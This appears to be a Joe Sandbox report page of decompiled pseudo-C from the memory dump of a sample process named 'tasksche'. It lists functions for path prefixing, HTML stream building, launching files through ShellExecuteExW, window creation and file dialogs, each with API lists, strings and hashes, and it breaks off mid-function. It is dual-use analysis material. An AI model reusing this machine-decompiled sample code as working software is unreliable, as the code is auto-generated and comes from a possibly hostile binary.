Download Yara Rule

C-Code - Quality: 100%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4100;
				signed short* _t26;
				long _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, L"\\\\?\\", 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041A7F7(_t71 + 8, L"UNC");
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, L"\\\\?\\", 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

0x0040a3e4
0x0040a3ea
0x0040a3f1
0x0040a3fd
0x0040a40a
0x0040a40c
0x0040a411
0x0040a413
0x0040a4b1
0x0040a4b7
0x0040a4b9
0x0040a580
0x0040a580
0x0040a580
0x0040a582
0x00000000
0x0040a583
0x0040a4bf
0x0040a4c1
0x00000000
0x00000000
0x0040a4d0
0x0040a4d2
0x0040a51d
0x0040a529
0x0040a533
0x0040a536
0x00000000
0x00000000
0x0040a538
0x0040a543
0x0040a553
0x0040a55b
0x0040a55f
0x0040a56b
0x0040a56d
0x0040a56f
0x0040a56f
0x0040a56d
0x0040a577
0x0040a57c
0x0040a57c
0x00000000
0x0040a57c
0x0040a4d7
0x0040a4da
0x00000000
0x00000000
0x0040a4e0
0x0040a4eb
0x0040a4fd
0x0040a507
0x00000000
0x0040a50c
0x0040a41a
0x0040a41f
0x0040a421
0x0040a451
0x0040a455
0x00000000
0x00000000
0x0040a45b
0x0040a45e
0x0040a462
0x00000000
0x00000000
0x0040a46b
0x0040a46e
0x00000000
0x00000000
0x0040a474
0x0040a47f
0x0040a48d
0x0040a497
0x00000000
0x0040a49c
0x0040a426
0x0040a429
0x00000000
0x00000000
0x0040a42f
0x0040a43a
0x0040a444
0x00000000
0x0040a449
0x00000000

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Strings

UNC, xrefs: 0040A487
\\?\, xrefs: 0040A434, 0040A479, 0040A4E5, 0040A53D

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				short* _t30;
				signed int _t34;
				signed int _t41;
				int _t42;
				void* _t50;
				char* _t51;
				void* _t66;
				void* _t67;
				short* _t68;
				short* _t71;
				int _t75;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t71 = _a4;
				_push(_t67);
				_a7 = E004191A2(_t71);
				_t30 = E0041CF3E(__ebx, _t66, _t67, E0041A7AF(_t71) + _t28 + 0x200);
				_t68 = _t30;
				if(_t68 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				_t47 = L"<html>";
				E0041A7F7(_t68, L"<html>");
				E0041A7C9(_t68, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0041A7C9(_t68, L"utf-8\"></head>");
				_v8 = _t71;
				if( *_t71 != 0x20) {
					L4:
					_t34 = E00411E81(_t82, _v8, _t47, 6);
					asm("sbb bl, bl");
					_t50 =  ~_t34 + 1;
					if(_t50 != 0) {
						_t71 = _v8 + 0xc;
					}
					E0041A7C9(_t68, _t71);
					if(_t50 == 0) {
						E0041A7C9(_t68, L"</html>");
					}
					_t86 = _a7;
					if(_a7 == 0) {
						_t68 = E004191D8(_t50, _t86, _t68);
					}
					_t75 = 9 + E0041A7AF(_t68) * 6;
					_t51 = GlobalAlloc(0x40, _t75);
					if(_t51 != 0) {
						_t75 = _t75 + 0xfffffffd;
						_t17 = _t51 + 3; // 0x3
						_t42 = WideCharToMultiByte(0xfde9, 0, _t68, 0xffffffff, _t17, _t75, 0, 0);
						_t88 = _t42;
						if(_t42 == 0) {
							 *_t51 = 0;
						} else {
							 *_t51 = 0xef;
							 *((char*)(_t51 + 1)) = 0xbb;
							 *((char*)(_t51 + 2)) = 0xbf;
						}
					}
					E0041A506(_t51, _t68, _t75, _t88);
					_t30 =  &_v12;
					__imp__CreateStreamOnHGlobal(_t51, 1, _t30, _t68);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t41 = _v12;
						_t30 =  *((intOrPtr*)( *_t41 + 8))(_t41);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t82 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197be
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419861
0x00419865
0x00419872
0x00419878
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x00419893
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 00419851
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 00419872
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041989A

Strings

</html>, xrefs: 00419821
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004197CA
<html>, xrefs: 004197BE, 004197C3, 004197FB
utf-8"></head>, xrefs: 004197D5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E46C Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E46C(signed short* __ecx, struct HWND__* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				struct _SHELLEXECUTEINFOW _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				int _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				long _t94;
				signed short* _t97;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76.cbSize = _t94;
					_v76.fMask = 0x1c0;
					if(_t89 != 0x22) {
						_v76.lpFile = _t97;
					} else {
						_v76.lpFile =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v76.lpParameters;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v76.lpParameters = 0x44287a;
							}
						}
						_v76.nShow = 1;
						_t63 = E0040A76A(_v76.lpFile);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, L".inf") == 0) {
							_v76.lpVerb = L"Install";
						}
						if(E004092A5(_v76.lpFile) != 0) {
							E0040A9CB(_t94, _v76.lpFile,  &_v4172, 0x800);
							_v76.lpFile =  &_v4172;
						}
						_t66 = ShellExecuteExW( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0 && IsWindowVisible(_a4) != 0) {
									ShowWindow(_a4, 0);
									_v5 = 1;
								}
								WaitForInputIdle(_v76.hProcess, 0x7d0);
								E0040D857(_v76.hProcess);
								if( *0x44185d != 0 && GetExitCodeProcess(_v76.hProcess,  &_v16) != 0) {
									_t76 = _v16 + 0x3e8;
									if(_t76 >  *0x441860) {
										 *0x441860 = _t76;
									}
								}
							}
							_t66 = CloseHandle(_v76.hProcess);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, L".exe");
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 = ShowWindow(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v76.lpParameters =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							}
							while(1) {
								_t61 = _t61 + 1;
								if(_t97[_t61] == 0) {
									break;
								}
								if(_t97[_t61] == 0x22) {
									_t92 = 0x20;
									_t97[_t61] = _t92;
									goto L13;
								}
							}
							goto L13;
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4f7
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x00000000
0x00000000
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4
ShellExecuteExW.SHELL32(?), ref: 0040E59A
IsWindowVisible.USER32 ref: 0040E5D3
ShowWindow.USER32(?,00000000), ref: 0040E5E1
WaitForInputIdle.USER32 ref: 0040E5EF
GetExitCodeProcess.KERNEL32 ref: 0040E60C
CloseHandle.KERNEL32(?), ref: 0040E62B
ShowWindow.USER32(?,00000001), ref: 0040E684

Strings

.inf, xrefs: 0040E557
z(D, xrefs: 0040E53A
.exe, xrefs: 0040E636

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf$z(D
API String ID: 3215649069-3601587883
Opcode ID: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00419A9D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00419A9D(void* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, struct HWND__* _a12, intOrPtr _a16, int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t41;
				long _t42;
				struct HWND__* _t46;
				void* _t52;
				struct HWND__* _t61;
				void* _t69;
				WCHAR* _t71;

				_t61 = _a8;
				_t69 = __ecx;
				 *(__ecx + 8) = _t61;
				 *((char*)(__ecx + 0x25)) = _a20;
				ShowWindow(_t61, 0);
				E00419A36(_t69, _a4);
				 *(_t69 + 0x14) = _a12;
				 *((intOrPtr*)(_t69 + 0x18)) = _a16;
				GetWindowRect(_t61,  &_v20);
				_t52 = GetParent;
				MapWindowPoints(0, GetParent(_t61),  &_v20, 2);
				_t41 =  *(_t69 + 4);
				if(_t41 != 0) {
					DestroyWindow(_t41);
				}
				_t42 = _v20.x;
				_a20 = _t42 + 1;
				_t46 = CreateWindowExW(0, L"RarHtmlClassName", 0, 0x40000000, _a20, _v20.y, _v12 - _t42, _v8 - _v20.y, GetParent(_a8), 0,  *_t69, _t69);
				 *(_t69 + 4) = _t46;
				if( *((intOrPtr*)(_t69 + 0x10)) != 0) {
					__eflags = _t46;
					if(_t46 != 0) {
						ShowWindow(_t46, 5);
						_t46 = UpdateWindow( *(_t69 + 4));
					}
					__eflags =  *((intOrPtr*)(_t69 + 0x20)) - 0x64;
					if( *((intOrPtr*)(_t69 + 0x20)) > 0x64) {
						_t46 = E004192D0(_t69);
					}
				} else {
					if(_a8 != 0 &&  *((intOrPtr*)(_t69 + 0x18)) == 0) {
						_t46 =  *(_t69 + 0x14);
						_t79 = _t46;
						if(_t46 != 0) {
							_push(_t46);
							_t46 = E0041947D(_t52, _t69, _t79);
							_t71 = _t46;
							_t80 = _t71;
							if(_t71 != 0) {
								ShowWindow(_a8, 5);
								SetWindowTextW(_a8, _t71);
								_push(_t71);
								_t46 = E0041A506(_t52, 0, _t71, _t80);
							}
						}
					}
				}
				return _t46;
			}

0x00419aa9
0x00419aac
0x00419ab1
0x00419ab4
0x00419ab7
0x00419ac2
0x00419aca
0x00419ad0
0x00419ad8
0x00419ade
0x00419af0
0x00419af6
0x00419afb
0x00419afe
0x00419afe
0x00419b04
0x00419b18
0x00419b3b
0x00419b41
0x00419b47
0x00419b86
0x00419b88
0x00419b8d
0x00419b96
0x00419b96
0x00419b9c
0x00419ba0
0x00419ba4
0x00419ba4
0x00419b49
0x00419b4c
0x00419b53
0x00419b56
0x00419b58
0x00419b5a
0x00419b5d
0x00419b62
0x00419b64
0x00419b66
0x00419b6d
0x00419b77
0x00419b7d
0x00419b7e
0x00419b83
0x00419b66
0x00419b58
0x00419b4c
0x00419bad

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 00419AB7

Part of subcall function 00419A36: LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
Part of subcall function 00419A36: RegisterClassExW.USER32 ref: 00419A8E

GetWindowRect.USER32 ref: 00419AD8
GetParent.USER32(?), ref: 00419AEB
MapWindowPoints.USER32 ref: 00419AF0
DestroyWindow.USER32(?), ref: 00419AFE
GetParent.USER32(?), ref: 00419B1C
CreateWindowExW.USER32 ref: 00419B3B
ShowWindow.USER32(?,00000005,?), ref: 00419B6D
SetWindowTextW.USER32(?,00000000), ref: 00419B77
ShowWindow.USER32(00000000,00000005), ref: 00419B8D
UpdateWindow.USER32(?), ref: 00419B96

Strings

RarHtmlClassName, xrefs: 00419B35

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction ID: a0655035169e6554100d25c4e6de203faa719369231219c5c88fda93c074337e
Opcode Fuzzy Hash: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction Fuzzy Hash: 0331B035600604EFCB319F65EC48EAFBBB9FF44700F10451AF91692260D735AD51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 21.1, APIs: 14, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				intOrPtr _t44;
				signed int _t48;
				signed int _t57;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_v88 = _a4;
				_t44 =  *0x4335a8; // 0x400000
				_v84 = _t44;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 = GetOpenFileNameW();
				} else {
					_t48 = GetSaveFileNameW();
				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 = CommDlgExtendedError();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 = GetOpenFileNameW();
						} else {
							_t48 = GetSaveFileNameW();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f6
0x004051f9
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040523C
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 00405244
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405268

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0B Relevance: 19.6, APIs: 13, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419D0B(void* _a4, signed int _a8, int _a12) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				struct HBITMAP__* _v16;
				void* _v20;
				signed int _v36;
				signed int _v40;
				void _v44;
				struct HDC__* _t36;
				signed int _t43;
